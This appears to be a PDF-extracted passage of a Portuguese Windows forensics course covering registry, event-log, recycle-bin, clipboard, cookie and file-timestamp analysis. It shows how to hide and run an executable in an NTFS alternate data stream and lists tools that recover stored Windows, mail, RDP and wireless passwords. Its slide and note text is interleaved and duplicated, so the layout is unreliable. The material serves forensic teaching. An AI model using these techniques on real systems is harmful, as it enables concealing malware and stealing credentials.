armazenar uma lista de recursos usada por um dispositivo físico de
hardware. Esses dados são detectados e gravados pelo sistema na árvore \
HardwareDescription e exibidos no Editor do Registro em formato hexadecimal
como valores binários.

\\REG_NONE – Dados sem um tipo específico, gravados pelo sistema ou


pelos aplicativos no registro e exibidos no Editor do Registro em formato
hexadecimal como valores binários.

\\REG_QWORD – Dados representados por um número que seja um inteiro


de 64 bits, exibidos no Editor do Registro como valores binários. Foram
introduzidos pela primeira vez no Windows 2000.

Cópia do registro:
Coleta de informações em registros do
Windows D:\IR\xp> regdmp > d:\tmp\registry.txt8
Cópia do registro:
D:\IR\xp> regdmp > d:\tmp\registry.txt D:\IR\xp> reg query HKCU\Software /s > d:\tmp\regis
D:\IR\xp> reg query HKCU\Software /s > d:\tmp\registry_HKCU.txt try_HKCU.txt8
Principais buscas nos registros:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce Principais buscas nos registros:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce ntVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs ntVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU\* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
ntVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
ntVersion\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Internet Explo
rer\TypedURLs
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\Explorer\RunMRU
HKCU\Software\Microsoft\Windows\CurrentVersion\Expl
orer\ComDlg32\OpenSaveMRU\*

Para realizar uma cópia em formato de texto do registro do Windows podemos utilizar a
ferramenta regdmp.exe. É necessário direcionar a saída do comando para um arquivo.

O arquivo gerado nos permite realizar uma série de buscas em chaves conside-
radas importantes para o processo de coleta de informações. Podemos realizar
consultas a chaves específicas ou a um diretório inteiro dentro do registro.

Análise forense – Sessão de aprendizagem 10


163

Podemos ver que a ferramenta permite realizar pesquisas por texto ou por uma faixa
de datas de modificação de alguma das chaves. É interessante para achar modifica-
ções recentes no registro, causadas por algum vírus ou ferramenta de rootkit.

Uma forma adicional de realizar a cópia do registro é utilizando o aplicativo dum-


preg.exe. Esta ferramenta permite realizar a cópia das seguintes chaves de registro:

\\HKEY_LOCAL_MACHINE

\\HKEY_USERS

\\HKEY_CURRENT_USER

Análise forense avançada em Windows (parte 2)


164
Escola Superior de Redes RNP

Uma funcionalidade permite navegar nos dados ordenados por tempo, o que
possibilita verificar mais facilmente em um determinado momento as chaves que
foram modificadas.

Coleta de registros de eventos (logs)


Coleta de registros de eventos (logs)

O sistema Windows possui uma série de registros de


EventLogs: arquivos de log do Windows
Application eventos, que diferentemente do Linux são gravados
Contém os registros enviados por programas e aplicativos. em formato binário e, portanto, necessitam de ferra-
Security mentas especiais para acessar seu conteúdo.
Contém os registros de segurança relacionados com
tentativas de acesso ao terminal do sistema e violação de
privilégios. Além dos arquivos de log acima citados podem existir
System
ainda outros três:
Contém os registros relacionados com o sistema e hardware;
se um serviço não for inicializado corretamente será gerado
um alerta. \\Directory Service Log (quando o sistema for um
controlador de domínio)

\\FileReplication Service Log (quando o sistema for


um controlador de domínio)

\\DNS Server Log (quando o sistema for um


servidor de DNS)

Outros processos do sistema podem criar arquivos de logs específicos, tal como
ferramentas de antivírus ou firewall.

D:\IR\xp> dir c:\windows\system32\config\*.evt8


Coleta de registros de eventos (logs) Directory of c:\windows\system32\config
06/01/2008 14:42 65.536 Antiviru.evt
EventLogs: arquivos de log do Windows 29/01/2008 05:11 65.536 Antivirus.Evt
Da mesma forma que os arquivos de registro, os arquivos de 29/01/2008 05:11 524.288 AppEvent.Evt
log estão armazenados no diretório c:\windows\system32\config 24/10/2006 19:23 65.536 Internet.evt
e possuem a terminação .evt .
29/01/2008 05:11 524.288 SecEvent.Evt
D:\IR\xp> dir c:\windows\system32\config\*.evt 29/01/2008 05:11 524.288 SysEvent.Evt
Directory of c:\windows\system32\config
06/01/2008 14:42 65.536 Antiviru.evt
29/01/2008 05:11 65.536 Antivirus.Evt
29/01/2008 05:11 524.288 AppEvent.Evt
24/10/2006 19:23 65.536 Internet.evt
29/01/2008 05:11 524.288 SecEvent.Evt
29/01/2008 05:11 524.288 SysEvent.Evt

Análise forense – Sessão de aprendizagem 10


165

Registro de eventos:
Coleta de registros de eventos (logs)
D:\IR\xp> psloglist8
Registro de eventos System log on \\COMPUTADOR:
D:\IR\xp> psloglist
System log on \\COMPUTADOR: [494907] WinDefend
[494907] WinDefend
Type: INFORMATION
Type: INFORMATION
Computer: COMPUTADOR Computer: COMPUTADOR
Time: 30/1/2008 20:03:49 ID: 2000
Windows Defender signature version has been updated.
Time: 30/1/2008 20:03:49 ID: 2000
Current Signature Version: 1.24.6025.0 Windows Defender signature version has been updated.
Previous Signature Version: 1.24.5865.0
Update Source: User Current Signature Version: 1.24.6025.0
Signature Type: AntiSpyware Previous Signature Version: 1.24.5865.0
Update Type: Delta
User: COMPUTADOR\Usuario Update Source: User
Current Engine Version: 1.1.3109.0 Signature Type: AntiSpyware
Previous Engine Version: 1.1.3109.0
… Update Type: Delta
User: COMPUTADOR\Usuario
Current Engine Version: 1.1.3109.0
Previous Engine Version: 1.1.3109.0

Podemos verificar que os registros de evento em um sistema Windows são bem


diferentes dos logs que costumamos ver em um sistema Linux. Mesmo assim eles
são importantes fontes de informação sobre os acontecimentos no sistema.

Devido ao fato de serem arquivos binários, são muito mais difíceis de modificar
pelos invasores que tentam esconder suas atividades.

Registro de eventos:
Coleta de registros de eventos (logs)
D:\IR\xp> ..\2k\res_kit\dumpel /?8
Registro de eventos DUMPEL Usage:
D:\IR\xp> ..\2k\res_kit\dumpel /? dumpel -f file [-s \\server] [-l log [-m source]] [-
DUMPEL Usage: e n1 n2 n3..] [-r] [-t] [-dx]
dumpel -f file [-s \\server] [-l log [-m source]] [-e n1 n2 n3..] [-r] [-t] [-
dx] -d <days> Filters for event last days (number larg
-d <days> Filters for event last days (number larger than zero)
-e nn Filters for event id nn (up to 10 may be specified)
er than zero)
-f <filename> Output filename (default stdout)
-l <name> Dumps the specified log (system, application, security)
-e nn Filters for event id nn (up to 10 may be spe
-b Dumps a backup file (use -l to specify file name) cified)
-m <name> Filters for events logged by name
-r Filters out events logged by name (must use -m too)
-f <filename> Output filename (default stdout)
-s <servername> Remote to servername
-l <name> Dumps the specified log (system, applicat
-t Use tab to separate strings (default is space)
-c Use comma to separate fields ion, security)
-ns Do not output strings
-format <fmt> Specify output format.
-b Dumps a backup file (use -l to specify file name)
-m <name> Filters for events logged by name
-r Filters out events logged by name (must use -m t
oo)
-s <servername> Remote to servername
-t Use tab to separate strings (default is space)
-c Use comma to separate fields
-ns Do not output strings
-format <fmt> Specify output format.

Repare que a ferramenta mostrada no slide não está no caminho padrão do prompt
de comandos, tendo sido necessário especificar o caminho completo para ele.

Observe que a ferramenta é bem versátil, permitindo restringir as consultas por


data, padrões de texto, além de permitir formatar a saída da maneira que o inves-
tigador quiser.

Análise forense avançada em Windows (parte 2)


166
Escola Superior de Redes RNP

Inclusive, é possível especificar o separador de cada campo, o que permite


carregar o log posteriormente em uma base de dados e desta forma facilitar as
consultas aos eventos.

Registro de eventos:
Coleta de registros de eventos (logs)
D:\IR\xp> dumpevt /logfile=app /all /outfile=\tmp\evt
dump.txt8
Registro de eventos
D:\IR\xp> dumpevt /logfile=app /all /outfile=\tmp\evtdump.txt
Somarsoft DumpEvt V1.7.3, Copyright ⌐ 1995-1997 by S
Somarsoft DumpEvt V1.7.3, Copyright Ń 1995-1997 by Somarsoft, Inc. omarsoft, Inc.
LogType=Application LogType=Application
Computer=(local)
SystemRoot=C:\WINDOWS Computer=(local)
Outfile=\tmp\evtdump.txt SystemRoot=C:\WINDOWS
Use HKEY_CURRENT_USER for saving record number
Format=yes Outfile=\tmp\evtdump.txt
DateFormat=(locale dependent)
TimeFormat=HH':'mm':'ss
Use HKEY_CURRENT_USER for saving record number8
FieldSeparator=, Format=yes
ReplaceFieldSeparator= (blank)

DateFormat=(locale dependent)
TimeFormat=HH’:’mm’:’ss
FieldSeparator=,
ReplaceFieldSeparator= (blank)

Permite especificar o tipo de log que desejamos coletar, gerando uma saída já
formatada para ser inserida em uma base de dados.

O arquivo gerado por este comando poderá ser então importado em uma base de
dados como um arquivo CSV separado por vírgulas, o que pode facilitar a análise
dos eventos, que muitas vezes contêm milhares de linhas.

Existe uma ferramenta disponível no kit que não serve exclusivamente para visuali-
zação de logs de eventos, embora também tenha esta funcionalidade.

Esta ferramenta serve para realizar uma auditoria completa no sistema, e permite
visualizar informações sobre logs de eventos, instalações de programas e atualiza-
ções do Windows, além de informações gerais sobre o sistema.

Análise forense – Sessão de aprendizagem 10


167

Análise de conteúdo do Recycle.Bin


Análise de conteúdo do Recycle.Bin

Quando os arquivos são removidos, são enviados


Os arquivos removidos são enviados para uma pasta
oculta representada no desktop pelo ícone de uma para uma pasta oculta representada no desktop pelo
lixeira. ícone de uma lixeira. Existe um diretório RECYCLER
Existe um diretório RECYCLER em cada partição do
disco da máquina. em cada partição do disco da máquina. Dentro deste
Dentro deste diretório existem subdiretórios cujos diretório existem subdiretórios cujos nomes são as
nomes são as identificações de segurança do usuário identificações de segurança do usuário (SID). Com
(SID).
Com a informação disponível é possível identificar qual a informação disponível é possível identificar qual
usuário removeu um arquivo específico. usuário removeu um arquivo específico.
Dentro do subdiretório representado pelo SID existem
sempre dois arquivos: desktop.ini e INFO2.
Dentro do subdiretório representado pelo SID exis-
tem sempre dois arquivos: desktop.ini e INFO2.
Quando um arquivo é apagado através do Windows Explorer, ele é movido para o
diretório RECYCLER com um nome diferente do original. Por exemplo, o arquivo
teste.txt quando apagado se transforma em Dc1.txt, ou seja, o arquivo removido
tem origem no drive C, e é o primeiro arquivo removido, com extensão .txt.

D:\IR\xp> dir /a c:\RECYCLER\S-1-5-21-4042056708-2335835806-3410500470-10068


17/01/2008 00:05 389 Dc1
01/12/2007 14:50 83 Dc2.txt
29/01/2008 14:42 65 desktop.ini
30/01/2008 22:10 1.620 INFO2

D:\IR\xp> sid2user 5 21 4042056708 2335835806 3410500470 10068


Name is Usuario
Domain is COMPUTADOR
Type of SID is SidTypeUser
Recycle.Bin
Podemos dizer que o segundo arquivo apagado presente neste diretório é um
arquivo originalmente com extensão .txt, e que o primeiro não tem extensão.

No kit de ferramentas existe um aplicativo chamado sid2user.exe, que permite


converter o SID para o nome do usuário do sistema. Com isso, podemos identifi-
car o usuário que apagou os arquivos.

D:\IR\xp> rifiuti c:\RECYCLER\S-1-5-21-4042056708-


Análise de conteúdo do Recycle.Bin 2335835806-3410500470-1006\INFO28

Recycle.Bin INFO2 File: c:\RECYCLER\S-1-5-21-4042056708-


2335835806-3410500470-1006\INFO2
D:\IR\xp> rifiuti c:\RECYCLER\S-1-5-21-4042056708-2335835806-
3410500470-1006\INFO2

INFO2 File: c:\RECYCLER\S-1-5-21-4042056708-2335835806-3410500470-


INDEX DELETED TIME DRIVE NUMBER PATH SIZE
1006\INFO2 1 Tue Jan 29 20:21:58 2008 2 C:\s9k
INDEX DELETED TIME DRIVE NUMBER PATH SIZE
4096
1 Tue Jan 29 20:21:58 2008 2 C:\s9k 4096 2 Thu Jan 31 00:10:42 2008 2
2 Thu Jan 31 00:10:42 2008 2 C:\dump.txt 4096 C:\dump.txt 4096

Existe uma ferramenta no kit que permite listar as


informações presentes no arquivo INFO2 em um
formato inteligível, e dessa forma descobrir o nome
original dos arquivos.

Análise forense avançada em Windows (parte 2)


168
Escola Superior de Redes RNP

Análise de conteúdo do Clipboard


Análise de conteúdo do Clipboard

O conteúdo da área de transferência é uma evidência


O conteúdo da área de transferência ou clipboard é
uma evidência normalmente esquecida pelo quase sempre esquecida pelo investigador, que pode
investigador conter informações importantes sobre o uso recente
Existem três tipos principais de informação que do equipamento analisado; também conhecido como
podem ser copiadas através da área de transferência:
textos, imagens ou tabelas e arquivos clipboard, pode conter informações importantes
Para verificar se existem arquivos na área de esquecidas por algum usuário recente.
transferência, pode-se usar o Explorer para colar o
conteúdo da área de transferência em um diretório
Existem três tipos principais de informação que podem
Para objetos complexos, é possível colar o conteúdo
em um documento aberto no WordPad
ser copiadas através da área de transferência: textos,
objetos complexos como imagens ou tabelas e arquivos.

Para verificar se existem arquivos na área de transferência, pode-se usar o Explorer


para colar o conteúdo da área de transferência em um diretório. Para objetos
complexos, é possível colar o conteúdo em um documento aberto no WordPad.

Infelizmente, a ferramenta para verificação da área


Análise de conteúdo do Clipboard
de transferência que existe no kit de ferramentas
permite mostrar somente textos que estejam na área
Clipboard
de transferência.
D:\IR\xp> pclip
Informacoes de cartao de credito:
1234-1234-1234-1111
1234-1234-1234-1113
1234-1234-1234-1112

Análise de conteúdo de arquivos


Análise de conteúdo de arquivos

Informações sobre arquivos Informações sobre arquivos:


D:\IR\xp> mac -d c:\windows
MAC.pl
Collect MAC times and owner from files in a directory.
D:\IR\xp> mac -d c:\windows8
By default, search starts at current dir, looking at all files.
MAC.pl
NOTE: Beginning and end of search are timestamped. Output is in CSV
format Collect MAC times and owner from files in a directory.
for easy opening in Excel.
By default, search starts at current dir, looking a
Start search,1201742514,Wed Jan 30 23:21:54 2008 t all files.
File,Size,Last Access,Last Modification,Creation
NOTE: Beginning and end of search are timestamped. O
c:\windows\0.log,0,BUILTIN\Administrators,Wed Jan 30 16:41:41 2008,Wed
Jan 30 16:41:41 2008,Wed Jan 9 08:19:37 2008 utput is in CSV format
c:\windows\accessories.ico,13942,,Wed Jan 9 02:42:12 2008,Tue Jan 6
15:00:10 2004,Sat May 10 22:50:09 2003
for easy opening in Excel.
c:\windows\AG-Rose.ico,5430,,Wed Jan 9 02:42:12 2008,Fri Jul 30
13:59:42 2004,Sat May 10 22:50:09 2003
Start search,1201742514,Wed Jan 30 23:21:54 2008
File,Size,Last Access,Last Modification,Creation
c:\windows\0.log,0,BUILTIN\Administrators,Wed Jan 3
0 16:41:41 2008,Wed Jan 30 16:41:41 2008,Wed Jan 9 0
8:19:37 2008
c:\windows\accessories.ico,13942,,Wed Jan 9
02:42:12 2008,Tue Jan 6 15:00:10 2004,Sat May 10
22:50:09 2003
c:\windows\AG-Rose.ico,5430,,Wed Jan 9 02:42:12
2008,Fri Jul 30 13:59:42 2004,Sat May 10 22:50:09
2003

Análise forense – Sessão de aprendizagem 10


169

A ferramenta acima permite extrair as informações de tempo de acesso, modificação


e criação dos arquivos e formatá-las de forma a estarem prontas para serem
inseridas numa base ou abertas em uma planilha. Além disso, ela lista o usuário
responsável pela criação do arquivo.

Análise de conteúdo de arquivos Informações sobre arquivos:

D:\IR\xp> afind c:\windows\system328


Informações sobre arquivos Searching...
D:\IR\xp> afind c:\windows\system32 c:\windows\system32\XPSViewer\en-us
Searching... Finished
c:\windows\system32\XPSViewer\en-us
Finished
D:\IR\xp> file -m ..\Cygwin\magic

c:\WINDOWS\NOTEPAD.EXE8
D:\IR\xp> file -m ..\Cygwin\magic
c:\WINDOWS\NOTEPAD.EXE  c:\WINDOWS\NOTEPAD.EXE: MS-DOS executable (EXE), OS
c:\WINDOWS\NOTEPAD.EXE: MS-DOS executable /2 or MS Windows
(EXE), OS/2 or MS Windows

A ferramenta permite procurar em um diretório pelo


último arquivo acessado. Esta informação pode ser
importante na análise de um sistema que acabou de
ser comprometido.

Veja que é listado acima o último arquivo acessado dentro do diretório especificado.
Além disso, o comando permite examinar o último acesso a um determinado arquivo,
ou listar arquivos acessados entre períodos determinados.

O comando file.exe presente no kit de ferramentas funciona basicamente como


sua versão Linux, mas é necessário especificar qual arquivo contém os padrões
de reconhecimento do tipo de arquivo.

Informações sobre arquivos:


Análise de conteúdo de arquivos
D:\IR\xp> filestat c:\boot.ini8

Informações sobre arquivos Dumping c:\boot.ini...


D:\IR\xp> filestat c:\boot.ini
SD is valid.
Dumping c:\boot.ini...
SD is valid.
SD’s Owner is Not NULL
SD's Owner is Not NULL
SID = BUILTIN/Administrators S-1-5-32-544
SID = BUILTIN/Administrators S-1-5-32-544
SID = / (Account Unknown) S-1-5-21-1607551490-981732888-1819828000-513
SID = BUILTIN/Administrators S-1-5-32-544
SID = / (Account Unknown) S-1-5-21-1607551490-98173
ACE 0 is an ACCESS_ALLOWED_ACE_TYPE 2888-1819828000-513
ACE 0 mask = 0x001f01ff -R -W -X -D -DEL_CHILD -CHANGE_PERMS -TAKE_OWN
SID = NT AUTHORITY/SYSTEM S-1-5-18 SID = BUILTIN/Administrators S-1-5-32-544
ACE 1 is an ACCESS_ALLOWED_ACE_TYPE
ACE 1 mask = 0x001f01ff -R -W -X -D -DEL_CHILD -CHANGE_PERMS -TAKE_OWN ACE 0 is an ACCESS_ALLOWED_ACE_TYPE
Stream 1:
Stream name = ???$?? Size: 116 ACE 0 mask = 0x001f01ff -R -W -X -D -DEL_CHILD -
Stream 2:
Stream name = ???$?? Size: 211 CHANGE_PERMS -TAKE_OWN
Stream 3:
Stream name = ???$?? Size: 64 SID = NT AUTHORITY/SYSTEM S-1-5-18
Creation Time - 07/08/2004 10:51:38
Last Mod Time - 30/11/2007 11:32:08 ACE 1 is an ACCESS_ALLOWED_ACE_TYPE
Last Access Time - 30/01/2008 23:16:27
ACE 1 mask = 0x001f01ff -R -W -X -D -DEL_CHILD -
CHANGE_PERMS -TAKE_OWN
Stream 1:
Stream name = ???$?? Size: 116
Stream 2:
Stream name = ???$?? Size: 211
Stream 3:
Stream name = ???$?? Size: 64
Creation Time - 07/08/2004 10:51:38
Last Mod Time - 30/11/2007 11:32:08
Last Access Time - 30/01/2008 23:16:27

Análise forense avançada em Windows (parte 2)


170
Escola Superior de Redes RNP

Veja que este comando produz informações importantes sobre um arquivo, princi-
palmente sobre permissões de segurança e streams alternativos.

Recuperação de dados ocultos ADS


Recuperação de dados ocultos ADS

Alternate Data Streams (ADS) são dados associados


Ocultação de dados:
Alternate Data Streams (ADS) são dados associados a a arquivos. Como vimos anteriormente, um arquivo
arquivos em um sistema de arquivos NTFS é definido por
São utilizados por programas maliciosos e rootkits
diversos atributos. Estes atributos extras são os cha-
para esconder informações no sistema
Entretanto, sua origem e motivação são nobres: ADS mados ADS. O atributo Data, que define a área onde
são utilizados para armazenar informações extras o conteúdo do arquivo vai ser armazenado, pode ser
sobre um arquivo, como o Thumbnail de uma imagem
definido mais de uma vez.
ou o ícone de um arquivo

ADS são utilizados por muitos programas maliciosos


e rootkits para esconder informações no sistema.
Apesar disso, sua origem e motivação são nobres:
ADS são utilizados para armazenar informações extras sobre um arquivo, como o
Thumbnail de uma imagem ou o ícone de um arquivo.

Ocultação de dados:
Recuperação de dados ocultos ADS
D:\IR\xp> echo Este e um arquivo de textos > d:\tmp
Ocultação de dados: \file.txt8
D:\IR\xp> echo Este e um arquivo de textos > d:\tmp\file.txt

D:\IR\xp> dir d:\tmp\file.txt D:\IR\xp> dir d:\tmp\file.txt8


31/01/2008 00:40 30 file.txt
31/01/2008 00:40 30 file.txt
D:\IR\xp> echo Este e um stream ADS >
d:\tmp\file.txt:adsdata.txt

D:\IR\xp> dir d:\tmp\file.txt


31/01/2008 00:40 30 file.txt D:\IR\xp> echo Este e um stream ADS > d:\tmp\file.txt
:adsdata.txt8
D:\IR\xp> type d:\tmp\file.txt
Este e um arquivo de textos

D:\IR\xp> less < d:\tmp\file.txt:adsdata.txt


Este e um stream ADS
D:\IR\xp> dir d:\tmp\file.txt8
31/01/2008 00:40 30 file.txt

D:\IR\xp> type d:\tmp\file.txt8


Este e um arquivo de textos

Recuperação de dados ocultos ADS D:\IR\xp> less < d:\tmp\file.txt:adsdata.txt8


Este e um stream ADS
Ocultação de dados:
D:\IR\xp> type c:\windows\notepad.exe >
Como podemos observar, é possível armazenar
d:\tmp\file.txt:np.exe
dados atrelados ao arquivo original file.txt, sem que
D:\IR\xp> start d:\tmp\file.txt:np.exe estejam visíveis e sejam detectados. A princípio não
D:\IR\xp> dir d:\tmp\file.txt existe limitação de número e tamanho para os arqui-
31/01/2008 00:43 30 file.txt
vos ADS, e inclusive é possível executar programas
que estão ocultos no ADS.

D:\IR\xp> type c:\windows\notepad.exe > d:\tmp\file.


txt:np.exe8

Análise forense – Sessão de aprendizagem 10


171

D:\IR\xp> start d:\tmp\file.txt:np.exe8

D:\IR\xp> dir d:\tmp\file.txt8


31/01/2008 00:43 30 file.txt

Ao realizar a ação descrita no slide veremos um notepad aberto na tela, e ao


verificar no Gerenciador de tarefas observaremos que o executável é um ADS; o
arquivo file.txt:adsdata.txt continua disponível.

Quando o arquivo de origem é removido (neste caso file.txt) não se pode mais
acessar os ADS que estavam a ele relacionados. No entanto, os dados continuam
no disco até serem eventualmente sobrescritos.

Em um sistema onde foram encontrados indícios do uso de ADS, pode ser neces-
sário realizar uma pesquisa completa na imagem do disco.

Ocultação de dados:
Recuperação de dados ocultos ADS
D:\IR\xp> ads d:\tmp8
Ocultação de dados: d:\tmp\teste.txt:adsdata.txt (23 bytes)
D:\IR\xp> ads d:\tmp
d:\tmp\teste.txt:adsdata.txt (23 bytes) d:\tmp\teste.txt:np.exe (69120 bytes)
d:\tmp\teste.txt:np.exe (69120 bytes)

D:\IR\xp> streams d:\tmp\* D:\IR\xp> streams d:\tmp\*8


d:\tmp\teste.txt:
:adsdata.txt:$DATA 23 d:\tmp\teste.txt:
:np.exe:$DATA 69120 :adsdata.txt:$DATA 23
D:\IR\xp> sfind d:\tmp
Searching...
:np.exe:$DATA 69120
d:\tmp
teste.txt:adsdata.txt Size: 23 D:\IR\xp> sfind d:\tmp8
teste.txt:np.exe Size: 69120
Searching...
Finished
d:\tmp
teste.txt:adsdata.txt Size: 23
teste.txt:np.exe Size: 69120
Finished

As ferramentas acima podem ser usadas para detectar a presença de ADS em


um arquivo ou diretório. É importante notar que alguns arquivos do sistema
contêm ADS, como os arquivos Thumbs.db criados pelo Explorer, que precisam
disso para funcionar.

Análise forense avançada em Windows (parte 2)


172
Escola Superior de Redes RNP

Análise do histórico de navegação


Análise do histórico de navegação

Histórico de navegação Histórico de navegação:


D:\IR\xp> pasco -d "c:\Documents and Settings\Usuario\Cookies\index.dat“
D:\IR\xp> pasco -d “c:\Documents and Settings\Usuar
History File: c:\Documents and Settings\hp\Cookies\index.dat io\Cookies\index.dat“8
TYPE URL MODIFIED TIME ACCESS TIME FILENAME DIRECTORY
HTTP HEADERS
URL Cookie:hp@onlinestores.metaservices.microsoft.com
/serviceswitching/Thu Jan 10 04:00:46 2008 Wed Jan 30 23:56:31
History File: c:\Documents and Settings\hp\Cookies\
2008 hp@onlinestores.metaservices.microsoft[1].txt index.dat
URL Cookie:hp@rad.msn.com/ Thu Jan 10 11:59:48 2008 Thu Jan
31 03:28:55 2008 hp@rad.msn[1].txt URL
TYPE URL MODIFIED TIME ACCESS TIME FILENAME DIRECTO
URL Cookie:hp@ad.adnetwork.com.br/ Thu Jan 31 01:16:36 2008 RY HTTP HEADERS
Thu Jan 31 01:16:36 2008 hp@ad.adnetwork.com[1].txt
URL URL Cookie:hp@onlinestores.metaservices.microsoft.c
om /serviceswitching/Thu Jan 10 04:00:46 2008 Wed J
an 30 23:56:31 2008 hp@onlinestores.metaservices.mi
crosoft[1].txt
URL Cookie:hp@rad.msn.com/ Thu Jan 10 11:59:48 2008
Thu Jan 31 03:28:55 2008 hp@rad.msn[1].txt URL
URL Cookie:hp@ad.adnetwork.com.br/ Thu Jan 31 01:16
:36 2008 Thu Jan 31 01:16:36 2008 hp@ad.adnetwork.
com[1].txt URL
Análise do histórico de navegação

Histórico de navegação Os históricos de navegação web e cookies armazena-


D:\IR\xp> galleta "C:\Documents and Settings\Usuario\Application dos podem fornecer informações importantes sobre o
Data\Mozilla\Firefox\Profiles\1jwwc64n.default\cookies.txt"

Cookie File: C:\Documents and Settings\hp\Application


mau uso do sistema. Eles informam, por exemplo, se
Data\Mozilla\Firefox\Profiles\1jwwc64n.default\cookies.txt
um usuário visitou algum site não permitido ou capaz
SITE VARIABLE VALUE CREATION TIME EXPIRE TIME FLAGS

.google.com TRUE / FALSE 1262741102 PREF


de infectar a máquina com algum programa malicioso.
ID=66ce23137a6d713d:FF=
4:LD=en:NR=10:TM=1153453246:LM=1199669113:DV=AA:GM=1:IG=3:S=61TCN1UHJwM
0IeCa
il.google.com
60644
FALSE
.google.com
/mail
TRUE
FALSE 1348445213
/mail/ FALSE
gmailchat
1262402786 Sendo assim, é importante para o investigador
__utmx
173272373.
1970
Thu Jan 1 00:00:00 1970 Thu Jan 1 00:00:00 coletar e analisar esse tipo de informação. Esta
.google.com TRUE /FALSE 1506634851 rememberme true
ferramenta permite listar o conteúdo do arquivo de
cookies do Internet Explorer, o que pode ser impor-
tante para identificar spywares ou acessos a sites
impróprios.

D:\IR\xp> galleta “C:\Documents and Settings\Usuario\Application Data\Mozilla\F


irefox\Profiles\1jwwc64n.default\cookies.txt”8

Cookie File: C:\Documents and Settings\hp\Application Data\Mozilla\Firefox\Prof


iles\1jwwc64n.default\cookies.txt

SITE VARIABLE VALUE CREATION TIME EXPIRE TIME FLAGS

.google.com TRUE / FALSE 1262741102 PREF


ID=66ce23137a6d713d:FF=
4:LD=en:NR=10:TM=1153453246:LM=1199669113:DV=AA:GM=1:IG=3:S=61TCN1UHJwM0IeCa v
il.google.com FALSE /mail FALSE 1348445213 gmailchat
60644 .google.com TRUE /mail/ FALSE 1262402786 __utmx v
173272373. Thu Jan 1 00:00:00 1970 Thu Jan 1 00:00:00 1970
.google.com TRUE /FALSE 1506634851 rememberme true

Para coletar a mesma informação, mas de sistemas que utilizem o Mozilla ou


Firefox, podemos usar a ferramenta galleta.exe.

Análise forense – Sessão de aprendizagem 10


173

Como podemos observar nos exemplos do slide, as saídas de ambas as ferra-


mentas utilizam um formato parecido, com campos separados por TAB, o que

Análise do histórico de navegação


facilita a inserção destes dados em uma tabela ou base de dados.

No slide podemos observar os cookies, com respectivas datas de criação, modifi-


cação e acesso, e os valores correspondentes.

Análise do histórico de navegação


Usando a ferramenta MozillaCookiesView ,observamos que os valores são mostra-
dos nas colunas, junto com outras informações sobre cada cookie.

Análise forense avançada em Windows (parte 2)


174
Escola Superior de Redes RNP

Uma característica interessante da ferramenta IEHistoryView é que ela lista não


somente os sites visitados; como no Windows o Internet Explorer faz parte do
sistema, qualquer acesso a arquivos feito pelo Explorer também conta como um
site, e esta informação é mostrada acima, como podemos ver pelas URLs que
começam por file:// .

Recuperação de senhas
Recuperação de senhas

Para finalizar nosso curso, vamos conhecer as


Ferramentas do kit para recuperação de senhas de
diversos serviços do Windows e de aplicativos ferramentas presentes no kit que permitem ao inves-
instalados. tigador recuperar senhas de diversos serviços do
As ferramentas expõem informações privativas dos
Windows e de aplicativos instalados. Tais ferramen-
usuários do computador, que podem não fazer parte da
investigação. tas expõem informações privativas dos usuários do
Por isso, o investigador deve ter consciência da computador, e muitas vezes este tipo de informação
importância de manter estas informações sob sigilo, e
pode não fazer parte do objetivo da investigação.
não utilizá-las para qualquer finalidade que não seja uma
ação direta da investigação. Por isso, o investigador deve ter consciência da
O computador em uso não deve utilizar senhas importância de manter estas informações sob sigilo,
pessoais.
e não utilizá-las para qualquer finalidade que não seja
a de uma ação direta da investigação.

Devemos ter consciência de que o computador utilizado é compartilhado com


diversos usuários e, portanto, não devemos utilizar senhas pessoais.

O mais importante: se utilizar alguma das ferramentas a seguir, evite divulgar as


informações que porventura consiga visualizar.

Análise forense – Sessão de aprendizagem 10


175

\\accesspv.exe – Permite visualizar senhas de


Recuperação de senhas arquivos Access.

\\lsasecretsview.exe – Acessa diversas chaves de


accesspv.exe
lsasecretsview.exe registro que armazenam senhas.
mailpv.exe
\\mailpv.exe – Lista login e senha de usuários
mspass.exe
configurados no MSN ou Hotmail.
netpass.exe
pspv.exe \\mspass.exe – Lista login e senha de usuários
pstpassword.exe configurados no MSN.
rdpv.exe
wirelesskeyview.exe \\netpass.exe – Visualiza senhas armazenadas de
auto-logon, Windows Live e .NET.

\\pspv.exe – Protected Storage Pass View, senhas


armazenadas pelo Internet Explorer.

\\pstpassword.exe – Visualiza senhas em arquivos do Microsoft Outlook.

\\rdpv.exe – Visualiza senhas configuradas no Remote Desktop.

\\wirelesskeyview.exe – Visualiza senhas configuradas para redes wireless.

Conclusões
Conclusões

Conhecemos diversas ferramentas e técnicas para


Conhecemos ferramentas e técnicas para coleta de
informações importantes em sistemas Windows. coleta de informações importantes em sistemas
Aprendemos técnicas para realização de análise forense Windows. Durante o curso, o aluno aprendeu técnicas
e ferramentas para uma resposta inicial a um incidente. de análise forense e conheceu ferramentas para uma
